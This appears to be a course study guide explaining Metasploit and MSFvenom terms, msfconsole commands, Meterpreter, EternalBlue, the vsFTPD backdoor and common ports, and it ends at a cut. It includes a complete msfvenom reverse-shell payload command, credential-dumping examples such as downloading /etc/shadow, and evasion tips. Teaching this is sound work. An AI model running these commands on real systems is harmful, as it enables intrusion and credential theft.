An auxiliary module in Metasploit performs tasks that are not direct exploitation — such as scanning, enumeration, fuzzing, brute force, denial of service, or information gathering. Auxiliary modules do not deliver a payload or open a shell; they collect data or test conditions. Examples: auxiliary/scanner/ftp/ftp_version, auxiliary/scanner/smb/smb_version, auxiliary/scanner/vnc/vnc_login. WHY it matters: Auxiliary modules extend Metasploit beyond pure exploitation into reconnaissance and validation. They are often used before selecting an exploit module — to confirm service versions, check for anonymous access, or enumerate shares. Connection: In the course labs, auxiliary scanner modules validate what Nmap discovered — smb_version confirms SMB version, ftp_version confirms FTP version, and vnc_login attempts VNC password brute force. Auxiliary modules require RHOSTS and RPORT configuration but no LHOST/LPORT (no payload).

Exploit Module

An exploit module in Metasploit is a program that takes advantage of a specific vulnerability in a target service to gain unauthorised access or execute arbitrary code. Each exploit module encodes the logic for exploiting one CVE or vulnerability class, handles target fingerprinting, delivers the payload, and manages the resulting session. Examples: exploit/unix/ftp/vsftpd_234_backdoor, exploit/windows/smb/ms17_010_eternalblue. WHY it matters: Exploit modules are the core of Metasploit's value — they abstract the technical complexity of exploitation into a set of options (RHOSTS, RPORT, PAYLOAD) that even non-experts can configure. Connection: Every exploit module must be paired with a compatible

payload. The show payloads command lists compatible payloads for the selected exploit. Exploit modules reference CVEs directly — searching by CVE ID in msfconsole finds the relevant module. The check command (where implemented) tests whether the target is vulnerable before running the full exploit.

Payload

A payload is the code that runs on the target after a successful exploit — it defines what the attacker gains from the exploitation. Payloads range from simple command shells (cmd/unix/reverse) to full-featured agents (Meterpreter). Staged payloads (indicated by /) use a small stager to connect back and download the full payload in a second stage. Stageless payloads (indicated by _) embed everything in one package. Examples: windows/meterpreter/reverse_tcp (staged), linux/x86/meterpreter_reverse_tcp (stageless). WHY it matters: The payload is the capability delivered by the exploit. Choosing the right payload depends on the target OS, architecture, available network paths, and detection avoidance requirements. Connection: Payloads require LHOST (attacker's IP) and LPORT (listener port) for reverse-connection types. MSFvenom generates standalone payload files. The -p flag in MSFvenom specifies the payload. Encoders modify payload bytes to evade signature detection.

Post Module

A post-exploitation (post) module in Metasploit runs after a successful exploit has delivered a session (Meterpreter or shell) — it automates common post-exploitation tasks like enumeration, credential harvesting, privilege escalation, persistence, and lateral movement. Examples: post/windows/gather/enum_logged_on_users, post/linux/gather/hashdump. WHY it matters: Post modules automate the tedious manual work of post-exploitation — gathering system information, finding other users, dumping password hashes, or mapping the network. They operate within an existing session, so they require a SESSION number rather than RHOSTS. Connection: Post modules are the direct operationalisation of MITRE ATT&CK; post-initial-access tactics: Discovery, Credential Access, Persistence, Lateral Movement. In the course labs, post modules are run against established Meterpreter sessions to demonstrate what an attacker learns after initial compromise.

Encoder

An encoder in Metasploit transforms a payload's byte sequence to avoid detection by antivirus signatures or IDS rules, without changing the payload's functionality. The most well-known encoder is shikata_ga_nai (a polymorphic XOR additive feedback encoder). Encoders are specified with the -e flag in MSFvenom. WHY it matters: Static signature-based AV and IDS tools match known byte patterns. An encoder changes the byte representation of the payload so the known signature no longer matches — the payload decodes itself at runtime. Connection: Encoders are an arms race — once a new encoded variant is identified and added to AV signatures, it no longer evades. Modern AV uses behavioural and heuristic detection that encoders alone do not defeat. Encoders are specified in MSFvenom with -e encoder_name and -i [iterations] (multiple iterations increase obfuscation). They are a layer in evasion, not a complete solution.

NOP Module

A NOP (No Operation) module generates NOP sleds — sequences of bytes that do nothing (no-operation instructions) used to pad payloads and create space for shellcode alignment. In traditional buffer overflow exploitation, a NOP sled increases the target 'landing zone' for the instruction pointer — if execution lands anywhere in the sled, it slides down to the shellcode. WHY it matters: NOP modules are part of Metasploit's exploit construction toolkit. They were

more relevant in classic stack-based buffer overflows; modern exploitation uses more precise techniques. Understanding NOPs is conceptual background for how shellcode exploitation works. Connection: NOPs are one of the module types alongside Exploit, Payload, Post, Auxiliary, Encoder, and Evasion. The classic x86 NOP instruction is 0x90. NOP sleds appear in buffer overflow discussions and are part of understanding how payload delivery historically worked.

Evasion Module

An evasion module in Metasploit generates files or payloads specifically designed to evade detection by endpoint protection platforms (AV, EDR). Unlike encoders which transform existing payloads, evasion modules use more sophisticated techniques including code obfuscation, template-based generation, and legitimate file format exploitation to bypass modern security products. WHY it matters: Modern endpoint security has evolved beyond simple signature matching. Evasion modules represent the cat-and-mouse arms race between offensive tools and defensive products. Understanding that evasion is a deliberate capability in exploitation frameworks informs why behavioural detection (rather than signature detection) is necessary. Connection: Evasion modules are the newest module category in Metasploit. They complement encoders. Heuristic and behavioural detection in modern AV exists specifically because signature-based detection is bypassable with evasion techniques.

RHOSTS / RHOST (remote target)

RHOSTS (or RHOST for a single target) is the Metasploit option that specifies the IP address(es) of the target system(s) to attack or scan. It is required for virtually every exploit and auxiliary module. RHOSTS supports individual IPs (192.168.1.5), ranges (192.168.1.1-254), CIDR notation (192.168.1.0/24), and file-based target lists (file:/path/to/targets.txt). WHY it matters: RHOSTS defines who is being targeted. Getting RHOSTS wrong — whether by typo or by accidentally including out-of-scope systems — can violate the Rules of Engagement and constitutes unauthorised access. Connection: In the course labs, RHOSTS is set to the Metasploitable target IP. Combined with RPORT, RHOSTS fully specifies the target service. For auxiliary scanner modules, RHOSTS can be a range to scan an entire subnet. set RHOSTS is one of the most frequent commands in msfconsole operation.

RPORT (remote port)

RPORT is the Metasploit option that specifies the port number of the target service. Most exploit and auxiliary modules have a sensible default (e.g. RPORT defaults to 21 for FTP exploits, 445 for SMB exploits), but it can be changed if the target service runs on a non-standard port. WHY it matters: Services sometimes run on non-standard ports — either by misconfiguration, design, or security-by-obscurity. Setting the correct RPORT ensures the module targets the right service. If RPORT is wrong, the module attempts to connect to the wrong port and fails. Connection: RPORT pairs with RHOSTS to fully define the target. Non-standard ports discovered via Nmap -p- scanning are the reason RPORT needs to be configurable. The -p- flag in Nmap catches backdoors and services on unusual ports (like vsftpd's backdoor shell on port 6200).

LHOST (local listener address)

LHOST is the Metasploit option specifying the IP address of the attacker's machine — the address that a reverse shell payload connects back to. It tells the payload 'when you execute on the target, call home to this IP address.' WHY it matters: Without a correctly set LHOST, reverse shell payloads cannot connect back to the attacker. In a NAT environment (e.g. the attacker's Kali VM behind VirtualBox NAT), LHOST must be the IP address reachable from the target — which is the internal network address, not the external internet address. Connection: LHOST is

required by all reverse payload types (reverse_tcp, reverse_http, reverse_https). In the course labs using an internal VirtualBox network, LHOST is set to the Kali VM's IP on the internal network (e.g. 192.168.X.Y found via ip address). MSFvenom also requires LHOST when generating standalone payloads.

LPORT (local listener port)

LPORT is the Metasploit option specifying the port number that the attacker's listener is waiting on — the port that reverse shell payloads connect back to. Must match the port on which multi/handler (or nc) is listening. WHY it matters: LPORT and LHOST together define the callback address. If LPORT does not match the listener port, the reverse shell connection will be refused. Choosing an LPORT that mimics legitimate traffic (e.g. 443 for HTTPS) can help the reverse shell blend in with normal outbound connections and bypass egress firewall rules. Connection: In Metasploit workflows: set the payload, set LHOST and LPORT, start a multi/handler listener with the same LHOST/LPORT, then run the exploit. MSFvenom-generated payloads also bake LHOST and LPORT into the payload at generation time.

SESSION (session identifier)

In Metasploit, a session is an active connection to a compromised system — either a Meterpreter session or a command shell session. Sessions are numbered (SESSION 1, SESSION 2, etc.) and can be listed with the sessions command. The SESSION option tells post-exploitation modules which active session to operate within. WHY it matters: Multiple targets may be compromised simultaneously, each with their own session. Post modules and Meterpreter commands need to know which session to use. Managing sessions cleanly is essential for organised post-exploitation. Connection: sessions -l lists all active sessions; sessions -i N interacts with session N. Post modules use set SESSION N to target a specific session. In the course labs, after running an exploit successfully, the session number is noted and used for subsequent post-exploitation steps.

search (msfconsole command)

The search command in msfconsole searches the Metasploit module database for modules matching a keyword, CVE number, platform, or type. Example: search eternalblue, search type:exploit name:vsftpd, search cve:2017-0144. WHY it matters: With thousands of modules, knowing how to search effectively is the practical first step in any Metasploit workflow. You need the correct module name to use it. Search also displays module type, rank (reliability rating), and description. Connection: search is always the first step: find the module name, then use it. Module rank matters — Excellent rank modules are the most reliable; Manual rank modules require more configuration. search CVE-XXXX-XXXX is a standard workflow for finding a module corresponding to a known CVE.

use (msfconsole command)

The use command selects a specific module to work with, making it the active module for subsequent commands (show options, set, run). Example: use exploit/windows/smb/ms17_010_eternalblue. After use, the prompt changes to reflect the active module. WHY it matters: use transitions msfconsole from module selection to module configuration. Until use is called, set and show options have no context to operate in. Connection: The workflow is always: search → use → show options (or show missing) → set required options → run. use can also accept partial module paths if unambiguous, or can use the module number shown in search results.

info (msfconsole command)

The info command displays detailed information about the currently selected module (or a named module), including its description, author, references (CVE IDs, Exploit DB entries), required and optional options, targets, and a reliability rank. WHY it matters: info provides everything you need to understand what a module does, what vulnerabilities it exploits, what options are required, and which target configurations it supports. Reading info before running an exploit is essential for responsible use — it confirms you are using the right module and understand its behaviour. Connection: info is especially useful for understanding a module's targets (different Windows versions, different service configurations) and for identifying whether check (a non-destructive test for vulnerability) is supported. The References section of info links to the CVE, NVD entry, and any public advisories.

show options

show options displays all configurable options for the currently selected module, including their current values, whether they are required, and a description of what each option controls. Required options with no value set are the ones that must be configured before the module will run. WHY it matters: show options is the central configuration review step. It shows what needs to be set (RHOSTS, RPORT, LHOST, LPORT, PAYLOAD) and what is already configured by defaults. Running a module without reviewing show options risks targeting the wrong host or using a misconfigured payload. Connection: The complementary command show missing is even more direct — it shows only the options that are required but not yet set. The workflow is: use module → show options → set required fields → run.

show missing

show missing displays only the options that are required by the current module but have not yet been set — the minimum remaining configuration needed before the module can run. WHY it matters: show missing is more efficient than show options for identifying what still needs to be configured, especially for modules with many optional settings. It answers 'what do I still need to set?' directly. Connection: Used as part of the module configuration workflow: use → show options → set → show missing (verify nothing required is unset) → run. It is a quality-of-life command that reduces the chance of running a module with a missing required option.

set (msfconsole command)

The set command assigns a value to a module option. Example: set RHOSTS 192.168.1.5, set LHOST 192.168.1.100, set PAYLOAD windows/meterpreter/reverse_tcp. setg sets a global option that persists across all modules in the current msfconsole session (useful for setting LHOST globally). WHY it matters: set is the primary configuration mechanism — every module option is configured through set. Getting set right (especially RHOSTS and LHOST) is essential for the module to work correctly and ethically. Connection: set PAYLOAD must be used after selecting an exploit module to choose the specific payload to deliver. set LHOST and set LPORT configure the callback address for reverse payloads. unset removes a value; unset all clears all options.

run / exploit (msfconsole command) run (or its alias exploit) executes the currently configured module against the target. For exploit modules, it attempts the exploitation and, if successful, opens a session. For auxiliary modules, it performs the scan or enumeration task. WHY it matters: run is the final step in the module workflow — it sends the actual attack or scan traffic to the target. Before running, all required options must be set and the RoE must confirm the target is in scope. Connection: After run succeeds on an exploit module, Metasploit reports a new session number. The check command (where available) is a safer pre-run step that tests

vulnerability without full exploitation. `run -j` runs the module as a background job; jobs lists running background jobs.

back (msfconsole command)

`back` deselects the current module and returns to the top-level `msfconsole` prompt, clearing the active module context (but not global options set with `setg`). WHY it matters: After finishing with one module, `back` allows you to search for and use a different module without closing and reopening `msfconsole`. It is a basic navigation command. Connection: Part of the standard `msfconsole` workflow: `use module` → `configure` → `run` → `back` → search next module. Sessions opened by modules persist after `back` is used — they are accessible via sessions regardless of which module (if any) is currently active.

help (msfconsole command)

`help` (or `?`) in `msfconsole` displays the list of available commands and their descriptions. When a module is active, `help` also shows module-specific commands. WHY it matters: `msfconsole` has many commands. `help` is the self-documentation mechanism. For new users (or unfamiliar workflows), `help` is the first thing to run when unsure what commands are available. Connection: `help` is a standard shell convention. In Meterpreter sessions, `help` displays the full list of Meterpreter commands including file system, network, and post-exploitation capabilities.

Meterpreter

Meterpreter is Metasploit's advanced, extensible post-exploitation agent — far more capable than a raw shell. It runs entirely in memory (no files written to disk), communicates over an encrypted channel, and provides a rich command set for system interaction, file operations, network enumeration, privilege escalation, and lateral movement. It is the preferred payload for most Metasploit exploitation. WHY it matters: A raw shell (`cmd/unix/reverse`) gives a command prompt. Meterpreter gives a full API: screenshot the desktop, dump password hashes, migrate to another process, enable a keylogger, pivot through the host to other networks — all without writing files to disk that AV might detect. Connection: Meterpreter is the payload delivered by modules like `ms17_010_eternalblue` and `vsftpd_234_backdoor`. Its commands (`ps`, `getuid`, `hashdump`, `download`, `upload`, `shell`, `getsystem`) are the primary post-exploitation vocabulary in the course labs.

Meterpreter Commands: arp, netstat, ps, ls, cd, download, upload, screenshot, enumdesktops, getdesktop

These are the key Meterpreter session commands: `arp` — shows the ARP table (reveals other hosts the target is communicating with; useful for discovering other systems to pivot to). `netstat` — shows active network connections and listening ports on the compromised host. `ps` — lists all running processes on the target; used to find a process to migrate into (e.g. migrate to `explorer.exe` for persistence or `lsass.exe` for credential dumping). `ls` — lists files in the current directory; basic file system navigation. `cd` — changes the current directory on the target. `download` — downloads a file from the target to the attacker's machine (e.g. `download /etc/shadow`). `upload` — uploads a file from the attacker to the target (e.g. `upload tool.exe C:\\Windows\\Temp\\`). `screenshot` — captures a screenshot of the target's desktop. `enumdesktops` — lists available desktops on Windows targets. `getdesktop` — shows the current active desktop. WHY they matter: These commands constitute the core post-exploitation vocabulary — understanding what each command reveals or achieves is central to the post-exploitation phase. Connection: All commands are run within an active Meterpreter session. They map directly onto MITRE ATT&CK; post-exploitation tactics: Discovery (`ps`, `netstat`, `arp`), Collection (`screenshot`, `download`), Credential Access (`hashdump`, run post modules). `getuid` and

getsystem are equally important — getuid shows current privilege, getsystem attempts privilege escalation.

MSFvenom

MSFvenom is the Metasploit payload generation tool — a standalone command-line utility (separate from msfconsole) that generates standalone payload files in various formats (EXE, DLL, ELF, APK, Python scripts, raw shellcode, etc.) that can be delivered to targets independently of Metasploit's exploitation workflow. WHY it matters: MSFvenom enables payload delivery outside of a Metasploit exploit module — for example, generating a malicious EXE for a phishing attachment, a payload for a physical USB drop, or shellcode for a custom exploit. It is the payload factory. Connection: MSFvenom combines the old msfpayload and msfencode tools. Core flags: -p (payload), -f (format), -a (architecture), --platform, -e (encoder), -o (output file). LHOST and LPORT are specified as payload options: msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o payload.exe.

msfvenom -l payloads msfvenom -l payloads lists all available payloads in the Metasploit Framework. The output includes the payload name, architecture, and description. Filtered with grep: msfvenom -l payloads | grep windows/meterpreter. WHY it matters: Knowing what payloads are available is the first step in choosing the right one for a target. The list is extensive — different OS, architecture, delivery method (staged/stageless), and connection type (reverse_tcp, reverse_http, bind_tcp). Connection: Use -l payloads to find valid payload strings for the -p flag. Similarly, -l formats lists output formats (-f flag options) and -l encoders lists available encoders (-e flag).

-p (payload flag)

In MSFvenom, -p specifies the payload to use. Example: -p windows/meterpreter/reverse_tcp. The payload string is the module path as shown in msfvenom -l payloads. Payload options (LHOST, LPORT) are appended after the payload name: -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444. WHY it matters: The payload choice determines what capability the generated file delivers — a bind shell, a reverse Meterpreter, a simple command shell, or a stageless agent. The wrong payload for the target OS or architecture will simply not execute. Connection: -p is the most important MSFvenom flag. It also appears in msfconsole as set PAYLOAD, using the same payload path string. LHOST and LPORT are always required for reverse payload types.

-f (output format flag)

In MSFvenom, -f specifies the output format of the generated payload. Examples: -f exe (Windows executable), -f elf (Linux executable), -f raw (raw shellcode bytes), -f python (Python script), -f apk (Android APK), -f asp, -f war (for Tomcat/GlassFish deployment). WHY it matters: The payload must match the target environment and the delivery method. Delivering a Windows EXE to a Linux system does nothing; delivering raw shellcode when a Python script is needed also fails. Format selection is determined by the target OS, architecture, and how the payload will be delivered. Connection: In the course labs, WAR file deployment is used against GlassFish/Tomcat — the payload is generated with -f war and uploaded via the admin console. EXE payloads are used in Windows (Metasploitable 3) exploitation. Raw format is used when embedding shellcode into custom exploits.

-a (architecture flag)

In MSFvenom, -a specifies the target processor architecture. Common values: x86 (32-bit), x64 (64-bit), arm, aarch64. Many payloads auto-detect architecture from the payload name (windows/x64/meterpreter vs windows/meterpreter), but -a overrides this. WHY it matters: A

payload compiled for x86 will not run on an x64 system (and vice versa in many cases), and vice versa. Specifying the correct architecture ensures the payload executes correctly on the target. Connection: Architecture selection in MSFvenom corresponds to `-a` in `msfconsole`'s `show payloads` filtering. In the course labs, Linux Metasploitable 2 uses `linux/x86` payloads; Windows Metasploitable 3 typically uses `windows/x64` or `windows` payloads depending on the installed version.

--platform (platform flag)

In MSFvenom, `--platform` specifies the target operating system platform. Examples: `--platform windows`, `--platform linux`, `--platform android`, `--platform osx`. Combined with `-a`, it fully defines the target environment for payload generation. WHY it matters: Some payloads are available for multiple platforms but with different underlying implementations. Specifying the platform ensures the correct OS-specific payload variant is generated. Connection: Like `-a`, `--platform` narrows the payload selection. When a payload path explicitly names the OS (e.g. `windows/meterpreter/reverse_tcp`), `--platform` may be implicit. It becomes important when generating cross-platform payloads or when the payload name alone is ambiguous.

-e (encoder flag)

In MSFvenom, `-e` specifies the encoder to apply to the payload. Example: `-e x86/shikata_ga_nai`. Encoders transform the payload bytes to evade signature-based detection. `-i` specifies iteration count (multiple encoding passes). WHY it matters: Unencoded payloads are often detected by antivirus products because their byte signatures are known. Encoding makes the payload less recognisable to signature scanners. Connection: As noted under the Encoder module section, encoders are not a complete AV bypass — modern behavioural detection catches them at execution time even if the file evades initial scanning. Encoding is one layer of evasion, not a complete solution. In the course context, encoding is demonstrated to explain the concept; defeating modern EDR is a separate, advanced topic.

-o (output file flag)

In MSFvenom, `-o` specifies the output file path where the generated payload will be saved. Example: `-o /home/kali/payload.exe`. Without `-o`, MSFvenom outputs the payload to stdout (useful for piping to other tools or for raw shellcode). WHY it matters: `-o` saves the generated payload as a named file ready for delivery. Without it, binary payloads printed to stdout are difficult to use directly. Connection: The generated file at the `-o` path is then transferred to the target through the chosen delivery mechanism — web server, SMB share, phishing attachment, or manual upload via the Tomcat/GlassFish admin console. In post-exploitation, MSFvenom payloads can also be uploaded via Meterpreter's `upload` command.

Reverse TCP Payload

A reverse TCP payload is a category of Metasploit payload where the compromised target initiates a TCP connection back to the attacker's machine (LHOST:LPORT), rather than the attacker connecting to the target. This is the dominant payload type for internet-facing exploitation because outbound connections from targets are typically not blocked by firewalls. WHY it matters: Firewalls almost universally block unsolicited inbound connections (blocking bind shells), but allow outbound connections (enabling reverse shells). Reverse TCP payloads exploit this asymmetry — they are the practical solution to the firewall problem in exploitation. Connection: All Meterpreter `reverse_tcp` payloads operate this way. LHOST and LPORT define the callback. The attacker must have a listener (multi/handler or `nc -l`) ready before triggering the exploit. Reverse HTTP and Reverse HTTPS variants use web traffic to further blend in with legitimate outbound connections.

windows/meterpreter/reverse_tcp (example payload) windows/meterpreter/reverse_tcp is a staged Metasploit payload targeting 32-bit Windows systems. It delivers a Meterpreter session that connects back to the attacker's LHOST and LPORT over TCP. The 'staged' architecture means a small stager is delivered first, which connects to the attacker and downloads the full Meterpreter agent in a second stage — keeping the initial payload small. WHY it matters: This is the canonical example payload in the course and one of the most commonly used Metasploit payloads in penetration testing. Understanding it makes all other Meterpreter payloads easier to understand by analogy

(windows/x64/meterpreter/reverse_tcp for 64-bit, linux/x86/meterpreter/reverse_tcp for Linux).

Connection: Used with ms17_010_eternalblue against Metasploitable 3. Requires set LHOST and set LPORT. Paired with a multi/handler listener. The 64-bit equivalent

(windows/x64/meterpreter/reverse_tcp) is preferred for modern 64-bit Windows targets.

SMB (Server Message Block)

SMB (Server Message Block) is a network file-sharing protocol used primarily in Windows environments for sharing files, printers, and other resources over a network. SMB operates on port 445 (TCP) and historically also on ports 137-139 (NetBIOS). SMBv1 is the legacy version with multiple critical vulnerabilities; SMBv2 and v3 are modern versions with improved security. WHY it matters: SMB is one of the most attacked protocols in Windows environments.

EternalBlue exploits an SMBv1 vulnerability; NTLM Relay attacks target SMB authentication; SMB signing enforcement prevents relay attacks. SMB is universally present in Windows networks, making it a high-value target. Connection: Port 445 is the primary attack surface for EternalBlue (MS17-010). SMB signing disabled is flagged as a vulnerability by Nessus/GVM because it enables NTLM Relay. Metasploit's smb_version scanner identifies the SMB version before exploitation. Disabling SMBv1 is a key hardening step.

MS17-010 / EternalBlue

MS17-010 is the Microsoft security bulletin identifier; EternalBlue is the NSA-developed exploit for the vulnerability it describes — a critical SMBv1 buffer overflow (CVE-2017-0144) in the Windows SMB server (srv.sys) that allows unauthenticated remote code execution with SYSTEM privileges. CVSS 9.3 Critical. WHY it matters: EternalBlue was weaponised in WannaCry (2017) and NotPetya (2017), affecting hundreds of thousands of systems globally. Microsoft released a patch (MS17-010) weeks before these attacks — organisations that had not patched were compromised. It is the defining example of why patching urgency matters.

Connection:

Metasploit module: exploit/windows/smb/ms17_010_eternalblue. Nmap NSE script: smb-vuln-ms17-010. Delivered NT AUTHORITY\SYSTEM shell unauthenticated. Affects Windows 7, Server 2008 R2, and earlier Windows versions with SMBv1 enabled. Disabling SMBv1 is the mitigation when patching is not immediately possible.

vsFTPD 2.3.4 Backdoor

The vsFTPD 2.3.4 backdoor (CVE-2011-2523) is a maliciously introduced backdoor in the vsftpd FTP server version 2.3.4, distributed through the official download site after a supply-chain compromise. Sending a username containing ':' (a smiley face) as part of the login triggers the backdoor to open a root shell on port 6200/tcp. CVSS 9.8 Critical. WHY it matters: The vsFTPD backdoor is a supply-chain attack — the legitimate software distribution channel was compromised. It demonstrates that even downloading from official sources is not always safe without integrity verification (checksums/signatures). It is also one of the first vulnerabilities practised in the course labs. Connection: Metasploit module:

exploit/unix/ftp/vsftpd_234_backdoor. The backdoor opens a bind shell on port 6200. Port 21 is FTP (the initial service); port 6200 is where the shell appears. The smiley face username is a memorable indicator of compromise for IDS rules.

VNC (Virtual Network Computing)

VNC (Virtual Network Computing) is a remote desktop protocol that transmits the screen, keyboard, and mouse events over a network connection, allowing a user to control a remote computer graphically. VNC servers listen on port 5900 (TCP) by default. WHY it matters: VNC is a high-value target in penetration testing because a successful VNC login gives an interactive graphical desktop session on the target — the most intuitive form of remote control. Weak or default VNC passwords are a common misconfiguration. Connection: Metasploit module: auxiliary/scanner/vnc/vnc_login performs VNC credential brute force. Port 5900 appears as an open service on Metasploitable 2. GVM/Nessus flag VNC with weak or no authentication as critical findings. VNC traffic is unencrypted in older implementations, making it an MITM risk as well.

Port 6200 (vsFTPD backdoor shell port)

Port 6200/tcp is the port on which the vsFTPD 2.3.4 backdoor opens a root bind shell after being triggered by the smiley-face username. It is a non-standard port that would only appear in scan results if a full port scan (-p-) is performed. WHY it matters: Port 6200 is a concrete example of why full port scans (-p-) are important — a default Nmap scan of the 1000 most common ports would not necessarily include 6200 and could miss the backdoor entirely. Connection: Port 6200 is detected by Nmap -p- or by the Metasploit module itself after triggering the backdoor. In Nessus/GVM scans of Metasploitable 2, the vsftpd backdoor appears as a Backdoor family finding. After successful exploitation, connecting to port 6200 delivers a root shell (which can be verified with whoami returning root).

Port 445 (SMB)

Port 445/tcp is the primary port for SMB (Server Message Block) network file sharing on Windows. It is the direct-TCP transport for SMB, replacing the older NetBIOS-based transport on ports 137-139. WHY it matters: Port 445 is the entry point for numerous critical Windows vulnerabilities — EternalBlue (MS17-010), BlueKeep (though RDP), and NTLM Relay attacks all involve or pass through SMB on 445. An open port 445 in a Nmap scan is an immediate signal to check SMB version and signing configuration. Connection: Nmap NSE script smb-vuln-ms17-010 checks for EternalBlue on port 445. Metasploit's smb_version auxiliary scanner runs against port 445. Firewall rules blocking port 445 from external access are a key hardening measure for Windows systems. Nessus flags open port 445 with various SMB checks in its scan results.

Port 5900 (VNC)

Port 5900/tcp is the default listening port for VNC (Virtual Network Computing) server software. Additional VNC displays use ports 5901, 5902, etc. (5900 + display number). WHY it matters: An open port 5900 in a Nmap scan immediately suggests a VNC server. If that server has no password or a weak password, it grants graphical desktop access to the target system. Connection: In Metasploitable 2, the VNC server on port 5900 uses the default password 'password' — trivially brute-forced. Metasploit's auxiliary/scanner/vnc/vnc_login can find this automatically. A successful VNC login delivers a full graphical desktop session, enabling mouse/keyboard control of the target.

Port 21 (FTP)

Port 21/tcp is the control channel for FTP (File Transfer Protocol). FTP uses a two-channel architecture: port 21 for the command/control channel (authentication, commands) and a separate data channel (port 20 in active mode, or a negotiated port in passive mode) for file transfers. WHY it matters: FTP is a legacy protocol with fundamental security weaknesses: credentials are transmitted in plaintext, the protocol is vulnerable to various attacks (bounce attacks, PORT command injection), and FTP services frequently run outdated vulnerable versions. Port 21 in a scan result is a prompt to check: anonymous access? vsFTPD 2.3.4? Default credentials? Connection: The vsftpd 2.3.4 backdoor is accessed via port 21 (the FTP banner identifies the version). Anonymous FTP login (GVM finding, CVSS 6.4 Medium) allows unauthenticated file read/write on misconfigured servers. Nmap banner grabbing on port 21 directly reveals the version string.

Port 22 (SSH)

Port 22/tcp is the standard listening port for SSH (Secure Shell), the dominant protocol for encrypted remote command-line access to Unix/Linux systems. SSH replaces unencrypted protocols like Telnet and rlogin. WHY it matters: SSH is the primary remote administration interface for Linux/Unix systems. It is therefore a high-value target for: brute force attacks (Hydra, Crowbar), weak key exploitation (CVE-2008-0166 Debian weak keys), and credential theft (phishing, key extraction). Properly configured SSH (key authentication, no root login, non-default port) is critical. Connection: SSH version scanning (Nmap -sV on port 22, or auxiliary/scanner/ssh/ssh_version) identifies the SSH version for CVE correlation. Weak SSH KEX algorithms are flagged by Nessus/GVM (CVSS 5.3 Medium). Crowbar is the Metasploit-compatible SSH brute force tool. SSH keys discovered on compromised systems (authorized_keys, id_rsa) are high-value credentials for lateral movement.

POST-EXPLOITATION MODULES

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

post/windows/gather/enum_logged_on_users

This Metasploit post-exploitation module enumerates users currently logged on to a compromised Windows system — both interactive (console/RDP) sessions and network sessions. It reads Windows session data from the target via the active Meterpreter session. WHY it matters: Knowing who is logged on reveals high-value targets for credential harvesting or session hijacking. A domain administrator logged into the compromised machine is an immediate privilege escalation opportunity. Connection: Run within a Windows Meterpreter session: set

SESSION N, run. Output lists usernames, logon type, and session ID. Combined with ps (process list) to identify administrator processes to migrate into. Feeds into the broader post-exploitation objective of identifying paths to domain compromise.

post/windows/gather/checkvm

This Metasploit post-exploitation module checks whether the compromised Windows system is running inside a virtual machine (VMware, VirtualBox, Hyper-V, QEMU, etc.) by examining registry keys, driver names, MAC address prefixes, and hardware identifiers that are characteristic of virtualisation environments. WHY it matters: Knowing a target is a VM informs several decisions — some malware samples refuse to execute in VMs (sandbox evasion), and the presence of a VM may indicate a lab environment or a honeypot. For defenders, VM detection by malware is a reason to use bare-metal analysis environments. Connection: In the course labs, checkvm will return 'is running inside a VirtualBox virtual machine' when run against Metasploitable 2/3 (since the whole lab is virtualised). This is expected — the lab is designed to be a VM. In real engagements, a VM result might suggest a test environment or security sandbox.

post/windows/gather/enum_applications

This Metasploit post-exploitation module enumerates installed applications on a compromised Windows system by reading the Windows registry (HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall). It returns a list of installed software with names and versions. WHY it matters: Installed application inventory reveals additional attack surfaces — vulnerable software versions, security tools (AV/EDR products to evade), and valuable targets (password managers, VPN clients, remote access tools). Connection: The output directly feeds into CVE research — matching installed application versions against NVD to identify additional exploitable vulnerabilities on the same host. It is also used to identify whether EDR/AV products are present (and therefore whether evasion techniques are needed). Combined with post/windows/gather/enum_logged_on_users, it builds a comprehensive picture of the target system.

post/linux/gather/enum_protections

This Metasploit post-exploitation module identifies security protection mechanisms active on a compromised Linux system — including SELinux status, AppArmor status, grsecurity patches, and other kernel security features. WHY it matters: Understanding what security protections are active affects which privilege escalation and post-exploitation techniques will work. SELinux enforcing mode blocks many privilege escalation paths; AppArmor restricts process capabilities. Knowing these constraints before attempting further exploitation saves time and avoids detection. Connection: Run within a Linux Meterpreter or shell session. Output guides the selection of privilege escalation techniques and post-exploitation tools. On Metasploitable 2,

protections are typically minimal or absent — confirming the intentionally vulnerable nature of the target.

post/linux/gather/hashdump

This Metasploit post-exploitation module dumps the contents of `/etc/shadow` — the Linux file containing hashed user passwords — from a compromised Linux system. The hashes can then be cracked offline using John the Ripper or Hashcat. Requires root access (since `/etc/shadow` is readable only by root). WHY it matters: Password hashes in `/etc/shadow`, once cracked, provide plaintext credentials that can be used to: authenticate to other services using the same password (credential stuffing), escalate privilege if a system account uses a common password, or move laterally to other systems. Connection: The Linux equivalent of Windows `hashdump` (which extracts NTLM hashes from the SAM database). Cracked hashes from `/etc/shadow` can be used with Hydra or directly for SSH/service authentication. John the Ripper with `rockyou.txt` is the standard cracking workflow.

post/linux/gather/enum_network

This Metasploit post-exploitation module enumerates the network configuration of a compromised Linux system — including IP addresses and interfaces, routing table, ARP cache, DNS configuration, active connections (netstat equivalent), and hosts file. WHY it matters: Network enumeration from a compromised host reveals: other hosts the target is communicating with (via ARP and netstat), internal network ranges not visible from the external scan, routing information that reveals network topology, and potential pivot targets. Connection: This is the structured equivalent of manually running `ip addr`, `ip route`, `arp -a`, and `netstat -antp` on the compromised host. The ARP cache and routing table are particularly valuable for identifying internal network segments and adjacent systems that can be targeted in lateral movement. Pairs with Meterpreter's `arp` and `netstat` commands for the same purpose.

AUXILIARY SCANNERS

Open-book exam reference — Cybersecurity Course (F26), SDU CIS

scanner/smb/smb_version scanner/smb/smb_version (auxiliary/scanner/smb/smb_version) is a Metasploit auxiliary module that connects to the SMB service on target systems and identifies the SMB version (SMBv1, SMBv2, SMBv3), the Windows OS version, and the domain/workgroup membership. WHY it matters: SMB version directly determines exploit applicability — SMBv1 is required for EternalBlue (MS17-010). Identifying the SMB version before attempting an exploit confirms the target is likely vulnerable and avoids unnecessary noise from failed exploit attempts. Connection:

Typically run before exploit/windows/smb/ms17_010_eternalblue to confirm SMBv1 is enabled. RHOSTS can be a range to scan multiple hosts. The OS version returned helps select the correct target option in exploit modules. Combined with smb-vuln-ms17-010 NSE script in Nmap for a complete pre-exploitation confirmation.

auxiliary/scanner/mssql/mssql_ping
